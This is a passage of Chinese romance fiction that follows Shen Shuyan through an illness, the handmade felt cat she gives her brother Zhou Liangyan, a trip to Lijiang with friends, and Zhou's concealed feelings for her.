同一时刻,小姑娘被妈妈叫回去,沈舒言把挂坠摘下来送给她后别提多开心,边走边回头咧着嘴向她挥手道别。
再抬头时,周良宴正盯着她看。
沈舒言怔了一下,站起身走到周良宴身边,看他大包小包的拎着不少东西。
正准备开口,周良宴望着她的眼睛:“小孩子都知道的事情。”
沈舒言有些不明所以,仰头对上他的视线。
周良宴才继续:“生理期不能乱吃东西。”
沈舒言自知理亏,视线飘忽,最后落到他手上,转移话题,“哥,怎么买这么多东西。”
心虚的小动作和以前的时候一模一样,周良宴没再继续讲,两人转身往商场门口走。
回到酒店吃完晚饭,沈舒言刚进到到房间就发现刚才那些大包小包的东西正静静放在自己的房间,疑惑的走上前打开袋子。
映入眼帘的是不同品牌的卫生巾安睡裤,还有布洛芬止痛药。
甚至还有几条尺码合适的运动裤,还散发着淡淡的清洗剂的香味。她想起今天护士小姐姐的叮嘱,经期尽量不要穿紧身裤,会影响经血流通,而她今天身上恰好就穿着有点略微紧身的牛仔裤。
回忆刚才和周良宴一起吃饭时,他提着袋子离席,等回来时手上已经没有任何东西。
她一直以为那是帮朋友或者他自己购入的用品。
现在想来,在那离开的十几分钟里,周良宴应该是去托人将衣物清洗烘干和其他东西一起送到自己的房间。
夜晚的酒店高层很安静,房间落地窗前的窗帘没拉,月亮恬静皎洁,莹白的月光透过整片玻璃溜进房间的每个角落。
换下身上的衣服,穿上浴袍。
沈舒言将今天从医院拿回来的药按照医嘱服下后没有回到床上休息,就安静的坐在窗前的懒人沙发上望向外面繁华的夜景。
房间的灯没开,放在桌子上的手机震动,手机屏幕亮起。
顺手将身上的毛毯裹紧,探起身抓起手机,是赵岚娜发来的信息:身体怎么样?还难受吗?
沈舒言回复:去医院检查过了,没什么问题,开了些药,叔叔的身体呢?
赵岚娜很快回了一条:我爸就是摔跤磕到骨头了,幸好他每天都有锻炼的习惯,休息几天就可以了。你今天一个人去的医院?
沈舒言喝了口水,打字:我哥带我去的。
消息刚发过去,一通视频电话打了进来。
她摁下接通键:怎么还打视频。
赵岚娜那边应该是在病房,灯光很亮,照的沈舒言这边也亮了一些。
“你那边怎么那么黑?没开灯吗?”因为是在医院病房里,赵岚娜的声音压要比往常要低几个调。
沈舒言含糊的嗯了声,起身打开一旁的夜灯,偌大的酒店套房里,落地窗前小小的角落亮起暖黄色的光。
“看看你这小脸,都皱在一起了,还跟我说没事。”
“真的没事,喝了药好多了,就是有点没精神,不想动。”
“你哥呢?”
“我哥当然回他房间了,不过你怎么突然问起他了?我发现最近你总是跟我提他。”
屏幕那边的人沉默了一下,镜头随着赵岚娜起身的动作晃动几秒,等她再次回到屏幕里时,显然已经换了地方不在病房里了,说话的声音恢复如常:等我找个咖啡店。
沈舒言点头,望向窗外,等屏幕那边不再晃动,赵岚娜已经坐在咖啡厅里。
“你不觉得你哥有点儿奇怪吗?”赵岚娜问。
沈舒言闻言皱眉:“奇怪?哪里奇怪?”
赵岚娜一只手支着下巴,“说不出来具体,但就是感觉怪怪的,你以前不是说你们关系一般,但我感觉他对你不是‘一般’。”
沈舒言淡笑道:“应该是最近关系缓和了吧,毕竟我们小时候真的关系很好,每次下雨打雷我都害怕,就跑进他的卧室和他一起睡。”
顿了几秒,她又继续,“或许不能说‘一般’,是我总觉得不知道从什么时候起,我莫名其妙被关进一个有新鲜空气的玻璃罩里跟他隔离,尽管他对我还跟往常一样。”
赵岚娜喝了口咖啡,一丝不解,“好就是好,不好就是不好,怎么会他对你好,你又觉得和以前不一样呢?好矛盾哦,而且我记得你之前不是还跟我说你上学和同学游学时还一个人顶着大雪偷偷跑到纽约见他,你是因为他突然出国生气,那时候不是应该都和好了吗?”
记忆宝盒被重新打开,沈舒言的思绪飘远。
那年纽约的雪很大,街上白茫茫的一片,她穿的单薄,坐了好久的大巴才来到周良宴租住的公寓前。
她记得和哥哥到洛克菲勒大厦前的圣诞树下许愿,在转头就可以看到雪景的餐厅吃饭。
记得因为感冒发烫的身体,和耳边哥哥低沉的嗓音轻柔缓慢讲述的童话故事,还有那一晚窗外绚烂的烟火和人群高涨的欢呼声。
周良宴回国的当晚,她还在外地,等到家时,刚好赶上家宴。
母亲因为哥哥当初的一意孤行还在生他的气,但终究是自己的孩子,言语批评几句后也算翻篇。
一家四口人时隔几年,终于又坐在了一张餐桌上。
往后的日子,周良宴依旧没有听从母亲和父亲的安排进入云璟集团,而是选择单独设立公司进行产业链投资,算隶属于云璟的子公司。他领导的禾旭每年的营业额收益率增长都稳居第一甚至大幅度完成KPI,也算是在云璟站稳脚跟。
而他们兄妹二人的关系,开始变得不远也不近,日子就这样慢慢过着。
杯子放在桌面上的声音清脆,沈舒言的思绪被拉回。
赵岚娜眼中闪过疑惑:“他对你真的不像是‘不远也不近’,相反是另外一种说不出来的感觉,不过我目前还没办法精准形容出来。”
沈舒言笑:“他是我哥呀,对我这样也很正常啦,你这几天是不是一直在病房陪护都没好好休息,看你刚才一直打哈欠。”
赵岚娜摇头:“没有那么夸张。”
沈舒言:“别撑着了,我都能看到你的黑眼圈,快去休息,等我回北城,咱们见面好好聊一聊。”
两人最后又寒暄几句,才挂掉视频通话。
时间已经到晚上十点多,沈舒言将运动裤放在一旁的沙发上,侧身躺在床上,迷迷糊糊的睡过去。
-
夜晚是被小腹痛醒的,沈舒言浑身发抖,整个人像是刚从水里捞起来,身上冒着虚汗。
挣扎的从床上爬起来吃了两粒布洛芬,又在袋子里翻找,居然真的找到暖贴,撕开隔着衣服贴在小腹的位置。
布洛芬的药效还没上来,腹部依旧一阵阵的传来绞痛。
她拿起手机转移注意力,点开微信聊天框给赵岚娜发信息:大半夜的,被痛经痛醒了,吃了两粒救命布洛芬。
赵岚娜大概率还在睡梦中,不指望她回复消息,刚想要关掉手机,却看到消息蹦出:我现在过来。
眯着眼看联系人,才意识到身体太痛大脑混乱,导致自己不小心将信息发给了聊天框同样在消息页面顶部的周良宴。
顾不得再打字解释,痛感再次袭来。
沈舒言将自己蜷缩在一起,试图缓解疼痛。
没几分钟,房间门被打开。
周良宴走到床边,“言言,还好吗?”
床上的人还蜷缩着,听到声音后才将脑袋从被子里钻出来,她没有说话,苍白的脸上没有血色,连眼睛也是雾蒙蒙的,下意识的看向他,眼里没有一点生气。
周良宴的心揪在一起,沉着声再问了一遍:“还好吗?”
沈舒言的手紧紧攥着被子,半夜被痛醒时,她躺在漆黑的房间里,感觉像是被世界抛弃了一般。
这会儿熟悉的人出现在身旁,让她忍不住想要抓住那股安全感。
“我疼.....”<
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“那儿疼?”周良宴离得更近一些问。
“腰疼,小腹也疼,头也好疼。”沈舒言哑着嗓子。
周良宴面上一僵,想起郑明说,痛经时轻揉小腹可以稍微缓解,他起身接了杯热水将手暖热。
沈舒言的腹部还痛着,恍惚间感觉到温热的手掌隔着衣服伏在上面轻柔的按摩,身体不自觉寻找热源,紧紧挨着旁边的人。
“药喝了吗?”周良宴轻声问。
“嗯。”沈舒言的声音依旧很闷。
房间里安静的出奇,只能听到两人呼吸的声音。
沈舒言裹着被子,眼睛闭着,或许是药效上来了,她感觉到自己身体上的疼痛已经开始得到缓解。
周良宴还在专心帮她轻揉着小腹。
“哥。”沈舒言问。
“嗯。”
停顿了有好几秒,她才接着问,“你讨厌我吗?”
周良宴手上的动作微不可察的停顿一秒,他的声音很轻,“我怎么会讨厌你呢。”
旁边的人半晌没有动静,只有绵长而均匀的呼吸声。
第二天醒来时,沈舒言整个人神清气爽,身体已经没有前两日的不适,也不知道昨晚周良宴是什么时候回房间的,从桌头柜拿起手机发消息:哥,昨晚打扰你了,谢谢你,我现在好多了。
她计划订今天下午的飞机回北城,周良宴还有会议要开,没跟她一起回去。
飞机刚一落地,沈舒言把带给母亲和父亲的礼物送回家后就回到卧室休息。
第二天一早又赶到工作室,中途赵岚娜还来过几次。
沈舒言忙,中途还去了几次寺庙,赵岚娜过来也不打扰她,两个人不说话,一个人专心做毛毡,一个人专心写课后作业。
历时好几天,终于完工,沈舒言给周良宴发了个消息。
-
禾旭正在进行季度总结会议,高卓远敲门进来,附在周良宴耳边低语几句后走出会议室。
正在进项工作汇报总结员工明显感觉到高助理走后,领导隐隐有点想要尽快结束会议的急迫。
因为老板在翻看手中的项目资料的过程中,已经忍不住看了两次手表。
察言观色如职场人,台上的员工稍稍加快语速,在最后一句话说完后快速回到座位。
周良宴已经合上文件夹,几句话总结会议安排工作后起身离开会议室。
沈舒言在会客厅坐了约莫二十分钟,才听到门口传来脚步声,只是那人似乎在门口静站几秒,才推门进来。
周良宴依旧一身剪裁得体的深色西装,在沉默冷寂的白炽灯下,给他整个人外显的沉稳矜贵中平白添了几分疏离。
他快步走进屋内,“刚才有个会,你等多久了?”
“没多久。”沈舒言微笑着摇摇头,说完后侧过身子。
周良宴这才看到后方桌子上摆着一个深色礼盒,又想起刚才高卓远说的,沈小姐过来时怀里还抱着一个纸箱子,他想帮忙拿着也不让。
他有些疑惑的望着她,面前的人依旧微笑,示意他将那礼盒打开。
脚下的步伐都变得急切,周良宴走到桌子旁边,小心的将礼盒拆开,在看到里面的东西后,片刻愣神。
是用毛毡做的一只小橘猫,是那天窝在他脚边的那只。
小猫此刻将胖胖的身体蜷缩在一起酣睡,栩栩如生,让人连手上的动作都变得更轻,生怕将它吵醒。
沈舒言笑说:“眼熟吧,为了做的一模一样,我跑去寺庙好几趟,跟那里的猫猫和师傅们都混熟了。”
周良宴顿了顿,双眸不易察觉的柔和,望着面前的人。
沈舒言依旧笑着,挽了下颊边落下的碎发,“哥,我之前....总觉得长大以后,我们的之间的距离变远了,你不像小时候那样‘喜欢’我了。”
周良宴呼吸一滞,他不知该如何回复,也不敢回复。
怕自己说出无法收回的话。
沈舒言还在继续,“但是现在看来,应该是我误会你了。”
周良宴的眼眸已经不敢再看向她,他的目光始终落在桌面上那只不知道耗费多久时间,精心制作的橘色小猫身上,而他的心,正在用肯定的话语回复她。
仿佛又回到那个下着雨的午后,他静静望着她,悠扬沉闷的钟声好像穿过时间与空间再次飘入耳中。
心口又传来无法言说的钝痛,他竭力控制着自己的情绪,用面无表情掩盖自己。
沈舒言已经走到门口,笑着说:“哥,我先走了,等会还有事儿。”
看着人离开,周良宴如释重负的坐在沙发上。
他厌恶自己,竟差点将那见不得光的爱意表露,只能抬眼望着桌上妹妹为自己精心制作的礼物,一遍遍的告诉自己,要知足。
21. secret
从禾旭出来时已经到中午快两点,或许是因为全球变暖,明明已经到秋初,可头顶上的太阳依旧带着点毒辣照在地面。
沈舒言打开驾驶位的车门,启动车子前先叫了几份外卖。
到工作室门口的时候刚好与过来送餐的小姐姐打了个照面。
她点的东西不算很多,但应该是见她埋头在帆布包里找钥匙,那位小姐姐便站在一旁等她先将门打开后,才把袋子都递过去。
虽是一件微不足道的小事,沈舒言仍扭头诚恳的道了声谢,才接过袋子进门。
一眼扫过去,工作室还有点凌乱,昭示着这间屋子的主人在近半个多月里是怎样的忙碌。
沈舒言呼出一口气,打开外卖平台点了打赏,才从一旁拿出平板随意打开部电影下饭,十几分钟后吃完便起身认真打扫卫生。
等一切都收拾好以后已经到下午快五点,天空染上淡淡的橘调,像不小心打翻的颜料铺在上方,预示白天的喧嚣将要结束。
晚霞落下前的时刻,洒向地面的阳光变的柔和却也更加绚烂闪亮,微风吹拂枝叶,传出天然的催眠白噪音。
沈舒言冲了个澡裹着薄毯靠在阳台的懒人沙发上,这个时刻,好不惬意。
抬眼便能看到门前树木的枝干与叶片,距离很近,可以清晰辨别出被秋染成不同程度黄色的枝叶脉络,风吹拂脸颊,整个人舒服的快要睡过去。
放在桌面上的手机闹钟响起,沈舒言打了个哈欠回卧室换衣服,她今天约好和学姐一起吃个饭
到达商场的时候还早,两人买了电影票去电影院打发时间,看完电影后刚好到晚饭时间。
买电影票时是随便买的,没想到是个超级大烂片,整整两个多小时的内容都在不知所云,看得人昏昏欲睡。
走出放映厅后林洁终于如释重负,她翻了个白眼,“什么破电影,简直浪费人的时间,你看没看到咱们周围的人看得都要睡着了。”
沈舒言点头,“有点宣传诈骗,我以为是悬疑片,现在看起来有点四不像。”
两人一边吐槽一边步行赶往已经定好的私房菜馆。
定的都是套餐,不用再点,服务生看她们落座后就招呼后厨上菜。
等待的间隙,林洁有些八卦的看沈舒言:“沈同学,作品最后完成的怎么样呀?”
沈舒言笑着温声回:“作品的完成度你不是知道嘛,我做完后第一时间就给你拍各种角度的照片和视频了。”
林洁笑着摇头,“我是说最后一步,礼物送到你想给的那个人手里的时候,他是不是高兴的要飞起来了?”
高兴的要飞起来?
沈舒言觉得这件事一辈子都不可能出现在自己的哥哥身上。
其实在很小的时候,周良宴还没有像现在这样闷,沈舒言开心时他会跟着一起笑,犯错时会想方设法的帮她转移母亲的注意力,她伤心时他会扮鬼脸逗她开心。
母亲不同意养小宠物说太脏太麻烦,他们两个便会趁着母亲不注意,偷偷带吃的喂学校附近的流浪猫。被发现后,他挡在她身前一口咬定是自己做的,妹妹不过是跟着他凑热闹。母亲自然知道事情原委,但看了一眼两人没有深究,而周良宴承认过后免不了一顿教育,沈舒言已经在旁边难过的掉眼泪,他还在受罚的间隙偷偷抬头望着她,轻声说不要哭。
等长大之后,周良宴就很少将自己真实情绪外露,他会将衬衫最上面那粒扣子一丝不苟地系上,习惯性把所有欲望和情感都锁进西装革履的外表下,浑身上下散发的更多是经过时间沉淀后的沉稳内敛。
沈舒言记得今天上午周良宴打开盒子时连嘴角都没有弧度,但她没有错过他拆开盒子时眼眸中一闪而过的惊喜,尽管面上看着依旧是一副面无表情的样子。
思及此,她轻轻点头,他应该是开心的。
林洁眯着眼,“感觉我都多余问,那么精心制作的礼物,谁收到都会开心的。”
说完她举起面前的可乐,“庆祝一下我30天教学成功,也庆祝一下我们的沈同学圆满送出自己的心意。”
沈舒言笑着举起杯,轻轻碰了下,“非常感谢林老师,没有你我不知道还要忙多久呢。”
林洁摇头,“跟我客气什么呀,你这不是请我吃饭了嘛,再说,你大学帮了我那么多忙,我帮你这都是应该的。”
沈舒言和林洁在同一所大学,两人在不同的专业,认识也算有缘。
林洁学服装设计,课后作业经常需要模特展示,可她在学校认识的人本来不多,加上服装模特要求较为严苛,找来找去也没有合适的。
偶然在图书馆看到沈舒言,小姑娘快一米七的身高,高挑而不单薄,五官大气没有过分的攻击性,气质又带着点清冷感。
只那一眼林洁便觉得她就是自己要找的人,抱起书就跟着她到图书馆外,说明自己来意。
幸好那段时间沈舒言自己的课业已经做完,便帮着林洁做了好几次服装模特,一来二去两人也熟络起来。
林洁大学时没事就爱做一些手工,沈舒言有时候也跟着做几个,不过都是小玩意。
等大学毕业她通过朋友圈才发现林洁主业忙完的闲暇时光偶尔会做做副业,她养了小猫小狗,做的最多的就是宠物定制。
沈舒言也是在看到她的朋友圈时,突然想到了那天那只窝在周良宴身旁的那只小橘猫。
说干就干,在网上买了材料包,一点点的请教学习。
骨架塑形,植毛,微调,整个作品几乎都是用羊毛一针一针戳出来的,中途为了做的更加精细,还往寺庙跑了好几次,前前后后花了快一个月的时间,才将礼物小猫完成。
“对了,舒言,过段时间你有空吗?”林洁喝了口水问。
沈舒言闻声抬头,“可能要下个月了,后面很长时间我都要窝在工作室里做陶瓷,有什么事吗?”
托际琛那群小伙伴的福,沈舒言这段时间陆陆续续接到不少定制单。但是因为要做毛毡,就一直拖着没开始做,幸好单主们都不是很着急,不然任凭她长出三头六臂也没办法完成。
林洁夹了几筷子虾仁放进沈舒言碗里,“那刚好,我也是这段时间比较忙,我想着忙完后去丽江散散心,你要不要一起。”
“丽江?”沈舒言歪头思索。
“别考虑啦,你前段时间刚拿着羊毛戳了那么多针,这会儿又要窝在工作室做陶瓷,想想都要累死,忙完咱们就要劳逸结合,给自己放松一下好不好。”
沈舒言想来想去觉得是这个理,便轻轻点头,“也行,那到时候咱们约时间。”
吃完饭后,两人在饭店门口等车。
百无聊赖间,林洁问:“一定是对你很重要的人吧。”
“什么?”
“说实话,做毛毡是一件不容易的事情,说难也还好,说简单的话,它又需要制作者耗费非常多的精力。很难想象你一个初学者可以花费那么久的时间做这样一件事。而且在教你的过程中,我能感觉到你很认真,很想要把这件事做到最好,不是那种随意敷衍的样子。刚才吃饭的时候还看到你手上贴着创可贴呢,做的时候没少挨针扎吧。”
沈舒言下意识摩挲了下手指,低头看脚尖。
林洁继续开口:“一个人给另一个人最珍贵的礼物就是时间,所以不用想,我觉得那一定是对你很重要的人。”
手中的电话响起,林洁叫的车几分钟后就来,在挂断电话的那秒,才听到沈舒言轻轻嗯了声。
林洁没听清楚,疑惑的看她。
没等她问出口,车已经到餐馆门口,沈舒言摇摇头,两人挥手
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道别。
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和林洁分开后,沈舒言叫了辆出租车。
上车后拿出手机,才发现际琛半个小时前给她发了一条微信。
际琛:【言言,最近有时间吗?】
沈舒言没着急回复,等坐上车系好安全带后才开始敲字。
沈舒言:【最近可能要忙一阵子,手里堆了不少定制单。】
下一秒那头就回了过来,应该手机就在手里拿着,几乎是秒回。
际琛:【好,那我就不打扰你了,还说邀请你来看我比赛呢。】
沈舒言发了个加油的表情包,又在键盘上敲敲打打。
沈舒言:【提前给你云加油一下,等我忙完后,一定亲自去现场。】
际琛回的依旧很快,是一只快乐小狗摇尾巴转圈的表情包,接着又说了句一言为定。
车窗是半摇下来的,沈舒言靠在座椅上,迎面灌进车里的分高带着初秋的冷意,吹得人清醒几分。
街边的霓虹倒退,无数与哥哥交织在一起的回忆冲进脑海。
大脑开始昏昏欲睡,在车子到达终点的前几分钟才悠悠转醒。
-
入秋的夜晚,风很温柔,带着一份特有的宁静与凉意。
秋风吹过小道,带起落叶的沙沙声与泥土的气息混合成独特的味道,空气中弥漫着木叶的香气。
沈舒言在文创园门口下车,她慢慢往前走,惬意的散步消食。
快到门口时,才看到一辆商务车正静静的停在不远处。
车里的人也已经看到她,已经打开车门跨步出来。
“哥?你怎么来了?”
沈舒言加快不发往前走了几步,脚踩过地上的落叶发出轻微响声。
头顶的夜色澄澈,皎洁月光如纱般倾洒,两旁的树木枝叶被风吹得摇曳。
街灯透过缝隙落在周良宴肩膀,亮着昏黄的微光,他的脸部轮廓被光影照的更加分明深刻,镜片下的眼眸正望着沈舒言一步步向自己走近。
两人离得更近,转身打开后备箱从里面拿出个不大不小的箱子,“出差看到的,感觉很适合你。”
说完没停顿,抱起箱子就往门口走。
沈舒言低头从包里翻出钥匙跟上去,小跑几步开门。
只见周良宴小心翼翼的将箱子放在桌面,没等沈舒言说话就已经率先开口,“我等会还有个项目投资人要见,先走了,拆的时候小心不要划到手。”
闻言沈舒言不动声色将自己贴着创可贴的手藏到身后。今天上午去禾旭时她就没敢让他发现,现在更是不行。
小鸡啄米似的点头,在目送着周良宴离开后,她才从一旁的桌子上找来美工刀,开始拆箱子。
划开包裹不知道多少层的胶带,里面都是厚实的快递填充气柱袋,再然后是泡沫箱,防尘袋,箱子里的东西终于得见阵容。
沈舒言将美工刀放到桌子上,看着摆在面前的物件,那是一盏非常漂亮,甚至可以说精美的有些过分的台灯,和她工作室整个风格意外的契合。
有一瞬怔愣,想起什么似的抓起一旁的手机打开自己的朋友圈往下翻。
那是自己两周前的凌晨发的一条朋友圈。
文案写着:新买的灯有点暗,安慰自己这是传说中的氛围感。
配图是自己稍显凌乱的工作台。
当时只是随口发了句牢骚,时间更是不尴不尬的卡在凌晨三四点,她没想到会被周良宴看到。
他是这样的无微不至,总能贴心的帮她解决任何问题。
沈舒言的目光变得柔和,异样的感觉从心底腾起,转瞬即逝。
又想起刚才林洁说的话。
此刻,她仿佛听到有声音从心底传来。
是的,他是很重要的人。
22. secret
从工作室出来后,周良宴将车开至前方后掉头往外开,直到园区门口才在路边缓缓停下。
当他不知道该如何控制心中无法抑制的情绪时,便会刻意让自己看上去面无表情。
今天上午在公司时是这样,此刻也是。
那灯是去国外看展时淘到的,他心里记挂着她凌晨时的那条朋友圈,奈何找寻很久都没有找到中意的。
直至走进展厅看到那盏灯,他脑海中第一个念头就是要带回去送给她。
因那灯与沈舒言工作室的装修风格实在适配。
周良宴觉得她应该会喜欢,可又怕自己已经不像儿时那样足够了解她,在打包时心中尤怀着几分忐忑。
怕自己挑的不合适,怕妹妹不喜欢。
海外进口灯具申报较为繁琐,整理好需要的相关资料后,周良宴托好友找了家靠谱的托运公司,再三叮嘱后才彻底放下心来。
本应是是准备明天送过来的,可不知道为什么。
明明是今天上午才见过的人,他心里却尤为想念。
想见她,想到大脑在停止工作时便会被这种磨人的情绪填满。
今天下班已经晚上快八点,周良宴让高卓远提前下班,处理完今日工作后,准备回家。
可身体好像不受自己的控制,回过神已经开到这边文创园。
他抬眼看过去,工作室的灯没开,沈舒言应该还没回来。
路边的街灯点亮,周良宴透过车窗玻璃往外看,夜色里有一抹身影正踩着斑驳的月光往这边走。
在此刻,他已经真切的在苍白而又静谧的月光下望着她,可心中的想念却没有消失,反而随着那身影走的更近而攀至顶峰。
重重呼出一口气后打开车门下车,将礼物送到她手上又逃一样的离开。
周良宴被轻扣玻璃的声音拉回思绪,抬眸看到车旁站着保安,降下车窗后示意他讲话。
保安弯腰开口:“先生,这里不能停车。”
周良宴点头,透过后视镜看到那幢小楼已经关上灯,“马上开走,不好意思。”
-
那天之后,沈舒言就进入闭关工作模式。
做陶艺是一个充满创意和乐趣但有些漫长的过程。
可沈舒言是那种十分能耐得住寂寞的人。
上学时她可以坐在机器前拉胚一整天也不会觉得枯燥,完全沉浸在手中的陶土上,把自己的心沉下,想象且只想象一个杯子或碗的形状,眼前的转盘在转,而手中有一个由她创作的器物在逐渐成型。
她上班的地方一直使用柴窑,很少用电窑炉,之前朋友来体验陶艺DIY时已经使用过自己先前购置的电窑炉,没想到烧制出来的成品效果还不错。
十月中旬,下了场淅淅沥沥的小雨,好在前几日天气好,已经将胚体阴干彩绘,现在只需再修底上釉最后烧制即可。
雨停时,沈舒言也已经开始做收尾工作,打开电窑炉,依次放好棚板和马脚把作品摆上,以此类推摆了有三层。之前已经提前设置好温度曲线,无需再进行特别操作,关上窑门,设置好时间。
电窑炉开始工作,沈舒言终于松下一口气,去卧室冲了个热水澡,已经到中午两三点。
卧室里的窗帘拉的严严实实,让人越来越昏沉,身体和精神长时间处于紧绷状态,这会躺在舒服松软的床上,眼睛盯着天花板慢慢失焦后进入睡眠。
醒来已经到下午,她结结实实的睡了快六个小时。
秋季的天要比夏暗的更早一些,窗帘遮蔽了仅有的一丝光亮。
台灯没开,眼前只看到一片漆黑,沈舒言怔怔的望向窗帘发呆,几分钟后顺手拿起手机点进微信,导航栏显示红色提醒。
想起自己睡前发了终于完成的朋友圈,配图是自己的工作间。
她点进去,一眼看到际琛的留言。
大抵是明白这些东西都是自己那些朋友定制的,他心里一边为沈舒言可以大展身手高兴,一边又觉得她实在太辛苦。
知道好友都有沈舒言的微信,便在朋友圈下面咋咋呼呼的控诉。
“看看你们这一个个的,就不能商量一下慢慢来吗?非要扎堆在一起,真是要把人累死。”
那些下单的朋友也玩笑般在下面跟着回复几条。
沈舒言嘴角弯起弧度,回复:谢谢朋友们捧场,成品烧制出来我保证你们会非常满意!
回复完后就要退出去,才看到周良宴也在点赞列表中。
这头像周良宴用了很久,应该是裁剪过的图片,暗色调,不大能看清楚,是一条无人街道,角落里放着一棵小小的圣诞树,看上去萧索颓落。
印象中这头像应该用了许久,看着有些眼熟,但是记不太起来在哪里看到过。
沈舒言起身打开台灯下床走到窗前,拉开厚重的窗帘,天空已经慢慢变暗,天边橙红色的帷幕一点点被黑夜稀释。
从床上捞起手机点开外卖软件翻了许久也没有想吃的,只能穿上外套下楼觅食。
自从上次之后,周良宴就经常过来给她的冰箱补货,所以厨房冰箱里的食物永远满满当当,且每个都贴着食用日期。
她工作的这段时间周良宴也来过几次,他来时不会多停留,提着超市的购物袋进来与她打声招呼便会直奔厨房。
这么多天里,她见到最多的人就是他,但两人说过的话不超过十句。
沈舒言走进厨房,给自己煎一块牛排,洗了点水果便是简单一餐。
白天睡眠太多,此时没什么困意,吃饱后裹着毛毯坐在阳台上发呆。
园区的街灯依次亮起,在被黑夜笼罩的大片空地上,仿佛连起一串暖黄色的小道。
次日睁开眼,沈舒言洗漱完就随便套了间外套下楼冲到工作间。
抛开上次朋友们过来体验陶艺DIY,这算是她开业来第一笔订单,自然想要尽可能做到完美,在制作过程中小心再小心,生怕出现问题。
加上开窑就跟开盲盒一样,充满不确定,虽然电窑炉要比柴窑稳定很多,但她的期待中依然夹杂着忐忑。
看着显示屏上的温度已经降到100度以下,才缓缓打开窑门,热气扑面而来。
沈舒言定睛仔仔细细看过去,窑炉内每一件成品的色彩效果都能达到她的预期。她从一旁拿起手机叫驿站的姐姐过来,在临出发去机场前2个小时终于把要寄出的打包完成。
与林洁提前约好在机场碰面,等待半小时左右后登机。到达丽江已经是晚上,这里秋天与北城一样,昼夜温差极大。
沈舒言裹紧身上的衣服,在心里默默庆幸自己收拾行李时听了赵岚娜的话多往里面塞了几件厚衣服,不然这次旅行她就要带病游玩,而计划好的放松就会变成折磨。
林洁有好友是当地人,推荐了家评价极高的餐馆,两人直奔过去,吃饱喝足后才慢悠悠的起身出来。
餐厅与订好的酒店距离不远,她们准备步行过去。
奈何秋天来时就像未完成的夏,未开始的冬。
从餐馆到酒店的路上沈舒言已经被秋风吹得有些瑟缩。
最后几步是小跑着到酒店大厅,这酒店是提前做攻略订好的,闹中取静,躺在床上就可以看到玉龙雪山。
她和林洁计划待七天左右,两人睡了一觉起来发现丽江开始下小雨,温度降的更厉害,出门时感觉连空气都凌冽几分,只能窝在酒店祈祷这场雨可以尽快结束。
沈舒言把行李箱里的衣服往外面挂时,接到际琛的电话,问她是否还在丽江。
“还在,大概要待三四天左右。”她把手机开了免提扔在床上。
“我朋友受伤了,他家就在昆明,我送他回家后准备去丽江待几天,到时候去找你可以吗?”那边问的有些小心翼翼。
“可以呀,你想来就来吧。”沈舒言倒没觉得什么,她没有权利要求别人来或者不来。
“好,到时候可以做个伴儿。”际琛说话间语气已经有些雀跃。
毛衣从行李箱里拿出来,熨烫平整后挂进衣柜。
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她弯腰从床上捞起手机打开天气预报的页面截图给际琛发了过去,提醒他来时记得带厚衣服。
“好,知道了言言。”后面跟着几个小狗表情包。
次日上午,沈舒言早早起床,雨已经停了,太阳从云层里钻出来。两个人吃了早餐后就坐在酒店附近的咖啡店等林洁的男朋友和际琛过来。
中午快11点,同时收到微信消息,十几分钟后,四个人在咖啡店见面,互相做了自我介绍。
沈舒言与家豪在大学时就已经见过几面,不算生疏。
林洁则是从看到际琛起眼光便在两人身上转了好几个来回,而后嘴角泛起意味不明的笑。
沈舒言这会儿忙着规划景点游玩,丝毫没有注意到。
一旁的男生有些秀气,正在向际琛进行简短的自我介绍,他来自宝岛台湾,是名专业摄影师,这几天手上刚好没有工作,被女友征用过来当跟拍。
沈舒言已经提前帮际琛订好房间,到达酒店后只需拎包入住即可,放好行李简单修整一番,几个人起身去附近的景观花园。
他们去得早,公园里的游客还不多,家豪给林洁拍完照后给沈舒言拍。
深秋的银杏树徐徐洒落着金黄色的叶子,她穿着米棕色古着毛衣搭配同色系半身裙,袅袅婷婷站在红水杉下,树叶被阳光照耀着闪烁金光,环绕着树下的女孩儿。
际琛装作不经意的凑在镜头跟前,看着里面的人呆愣几秒,取景框里的身影与景色融合,漂亮得不可方物,宛如油画中的少女。
林洁也凑了上去,丝毫不吝啬的感叹,“好漂亮啊舒言,你这可以原图直出了,完全不用后期,这个阳光也是十分到位了,刚好洒在你身上。”
“你好夸张啊,我看看。”沈舒言接过相机,弯了眸,“还是你家摄影师技术好。”
林洁摇头,“不要谦虚了,颜值也是最密不可分的一部分,你以为我大学为什么找你当模特呢,当然是因为漂亮啦。”
“好好好,我知道啦,趁着阳光好,让他再给你拍几张。”
拍完照,几人正准备走,有位独自来旅行的游客想请她们帮忙拍照,拍照结束后,那位游客也为她们4人拍了合影。
回去的路上经过一片银杏树林,沈舒言弯腰捡几片放进口袋。
下午吃完饭,大家各自回房,第二天准备去玉龙雪山,好不容易来一趟,他们都不想错过美景。
玉龙雪山大索道只能到4506的海拔,接下来的梯队则需要自己往上走。
常年在海拔几十米的地方生活,第一次来到高原,上来虽没有强烈不适感,但身体也真切感受到“高原”。
接下来沈舒言觉得自己走了人生中最漫长的176米,没几步就感觉心跳加速,要停下来吸几口氧。
终于到达最后一个平台,站在云顶之上,厚重的云朵仿佛伸手可触,让她想要扑上去睡上一会儿。
林洁招呼男友给她们拍了网上最近流行的“人生照片”,下山时天已经到了下午,日照金山。
虽然没有爬太多台阶,但身体还是很累,回到酒店,几人吃完饭后各自回房休息。
订的返航机票在次日中午两点,沈舒言准备洗完澡早早睡觉。
从浴室出来看到手机未读消息,是在校参加社团活动时加的学妹,询问她几个陶艺相关问题。
回复完消息察觉到头发还没有干,生怕感冒,她迅速起身吹干头发钻进被窝。
因睡得早,沈舒言第二天清晨七点多就睁开眼睛。
打了个哈欠走到窗前,拉开窗帘时被白茫茫的一片晃了眼睛。
这家酒店离雪山很近,下了一夜雪,藏在云里的雪山上已经覆盖的一层白色。
此时天地皆白,只有簌簌落下的雪花。
她下意识转身从桌子上抓起手机打开摄像功能拍了快一分多钟的小视频。
退出相机后打开微信,等视频显示传输过去,才开始打字。
【哥,这里下雪了。】
23. secret
返航的机票定在中午两点,三个多小时的飞行之后,四人落地北城机场。
林洁和骆家豪提前叫了出租车,车子还要等上个几钟左右,林洁凑到沈舒言跟前朝她使眼色:“这个不错,长得还是蛮帅的,怎么没见你带出来过?”
沈舒言正在回复李明哲的消息,闻言抬头一脸疑惑:“什么,你说什么呢??”
林洁看了眼一旁的际琛,声音放的很小:“还能是什么,说的你是身边这个帅哥,可以嘛,上大学没见你谈恋爱,原来是有这么高质量的啊。”
